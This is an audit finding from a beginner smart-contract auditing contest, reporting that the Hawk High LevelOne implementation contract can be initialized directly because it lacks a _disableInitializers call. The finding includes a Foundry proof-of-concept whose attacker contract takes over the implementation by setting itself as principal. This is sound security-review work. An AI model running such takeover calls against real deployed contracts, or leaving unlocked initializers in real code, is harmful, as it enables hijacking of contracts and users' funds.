Hawk High
First Flight #39
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

The `LevelOne` implementation contract can be directly initialized due to missing `_disableInitializers` constructor call.

blackgrease

Summary

The LevelOne implementation contract is missing the _disableInitializers function call which allows an attacker to directly call the LevelOne::initialize function with arbitrary values taking over the implementation contract.

Description

A smart contract that makes use of the UUPSUpgradeable pattern, needs to lock the implementation contract so that is can only be initialized via the proxy.

If a upgradable contract is not locked down after deployment, its functions can be directly accessed and it is therefore vulnerable to being taken over by an attacker. OpenZeppelin provides the _disableInitializers function which is to be invoked in the constructor of the implementation contract effectively locking down the contract and prevent abuse. The related security guideline can be found at: "https://docs.openzeppelin.com/contracts/5.x/api/proxy#Initializable"

The Code Issue

The LevelOne contract is missing a constructor and therefore cannot invoke the _disableInitializers function to lock down the implementation contract.

As a result, once the implementation contract is deployed, as it is not locked down, an attacker can directly call LevelOne::initialize and takeover the implementation contract breaking functionality with arbitrary values.

Note: while the contract deployment script initializes the implementation contract directly, it is not advisable and risky to have the implementation contract deployed in an unlocked state. As the deployment script may change, it is good for the implementation contract to have its own protection.

The Affected Code Area

Below is a snippet from the beginning of the LevelOne contract starting from line 86.

​
//End of Error declarations...
error HH__HawkHighFeesNotPaid();
error HH__NotAllowed();
​
​
////////////////////////////////
///// /////
///// MODIFIERS /////
///// /////
////////////////////////////////
modifier onlyPrincipal() {
if (msg.sender != principal) {
revert HH__NotPrincipal();
}
_;
}
​
//..2 more modifiers then initialize function is declared
//@Audit: No constructor and no `_disableInitializers` being invoked
​
function initialize(address _principal, uint256 _schoolFees, address _usdcAddress) public initializer {}

Impact

The severity of this vulnerability is High/Medium as it allows an attacker to takeover the implementation contract and claim ownership as the ownership. An attacker, can

  1. Set higher/lower fees than intended

  2. Set themselves as the Principal effectively gaining control over sensitive functions

  3. Use a different ERC20 Token other than the expected USDC.

  4. Cause a redeployment of the implementation contract resulting in financial expenses for Hawk High

The likelihood however, is likely low.

Tools Used

  1. Manual Review

  2. Foundry

Proof-of-Concept

Description

In order to prove the validity of this vulnerability, I have created a runnable PoC that

  1. Deploys the implementation contract

  2. Directly calls the initialize function on the implementation contract setting arbitrary values

Run: forge test --mt testImplementationContractTakeOver -vvv

Code

​
//SPDX-License-Identifier: MIT
​
pragma solidity 0.8.26;
​
import {Test, console2} from "forge-std/Test.sol";
import {LevelOne} from "src/LevelOne.sol";
import {DeployLevelOne} from "script/DeployLevelOne.s.sol";
import {MockUSDC} from "test/mocks/MockUSDC.sol";
​
​
contract DoSByStudentRemoval is Test {
DeployLevelOne deployBot;
DeployLevelOne deployBot_2;
LevelOne levelOne;
LevelOne levelOneProxy_2;
MockUSDC usdc;
MockUSDC usdc2;
AttackerTakeOver attacker;
​
address proxyAddress;
address proxyAddress_2;
address levelOneImplementationAddress;
​
//Roles
address principalOwner = address(uint160(1351334));
​
function setUp() public {
levelOne = new LevelOne();
​
usdc = new MockUSDC();
​
attacker = new AttackerTakeOver(address(levelOne), address(usdc));
}
​
function testImplementationContractTakeOver() public {
​
attacker.takeOverImplementation();
​
address arbitraryPrinicpal = levelOne.getPrincipal();
uint256 schoolFees = levelOne.getSchoolFeesCost();
​
uint256 expectedSchoolFees = 5000e18;
​
assertEq(arbitraryPrinicpal, address(attacker));
assertEq(schoolFees, 1000e18);
​
//Logging
console2.log("The owner of the implementation is the attacker contract: ", arbitraryPrinicpal);
console2.log("Expected School Fees: ", expectedSchoolFees, "[5k USDC]");
console2.log("The school fees have been set to: ", schoolFees, "[1k USDC]");
​
}
}
​
interface ILevelOne{
function initialize(address _principal, uint256 _schoolFees, address _usdcAddress) external;
}
​
contract AttackerTakeOver{
​
ILevelOne target;
​
address principal = address(this);
uint256 schoolFees = 1000e18; //1000 USDC
address usdc;
​
​
​
constructor(address _target, address _usdc){
target = ILevelOne(_target);
usdc = _usdc;
}
​
function takeOverImplementation() public {
target.initialize(principal, schoolFees, usdc);
}
​
}
​
Updates

Lead Judging Commences

yeahchibyke Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

contract can be re-initialized

The system can be re-initialized by an attacker and its integrity tampered with due to lack of `disableInitializer()`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.